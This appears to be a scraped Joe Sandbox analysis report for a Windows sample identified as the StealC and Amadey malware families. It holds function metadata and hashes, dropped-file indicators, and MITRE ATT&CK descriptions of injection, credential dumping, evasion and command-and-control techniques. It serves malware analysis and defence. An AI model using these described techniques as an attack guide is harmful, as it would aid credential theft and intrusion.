Opcode Fuzzy Hash: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction Fuzzy Hash: 6E31E371A00217DFDB10CF58C88466BBBB9EF84324F168629C84AFB241DB31ED15CBA1

Function 6C98F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F668

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e7f27f9f32ace74b3a6bba9ab02ad8230c30b8ed2a5ba9c71f665feb71d6b9ea
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71B00214AFCB14CF19DCC0AAA7BB9EB94358B148938EA498BF04D631E9448B91

Function 6C9A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26C1
free.MOZGLUE(?), ref: 6C9A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26FF
free.MOZGLUE ref: 6C9A270D

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction ID: 808196dbb8c7bf08ebfe75096d6c216f8bfecdf6c4da0336bc457311e1ce8cce
Opcode Fuzzy Hash: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction Fuzzy Hash: 44F02DB27026016BEB109E59D88495B73ADFF5131CB200035EA1ED3B11E331F95AC6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHJJEHIEBKKFIDHDGHJDHIIDB

C:\ProgramData\DGCAAFBFBKFIDGDHJDBK

C:\ProgramData\EBGCGHID

C:\ProgramData\HJJKJJDHCGCAECAAECFH

C:\ProgramData\HJJKJJDHCGCAECAAECFHDAECFH

C:\ProgramData\IJJJKEGHJKFHJKFHDHCF

C:\ProgramData\JEHIJJKE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre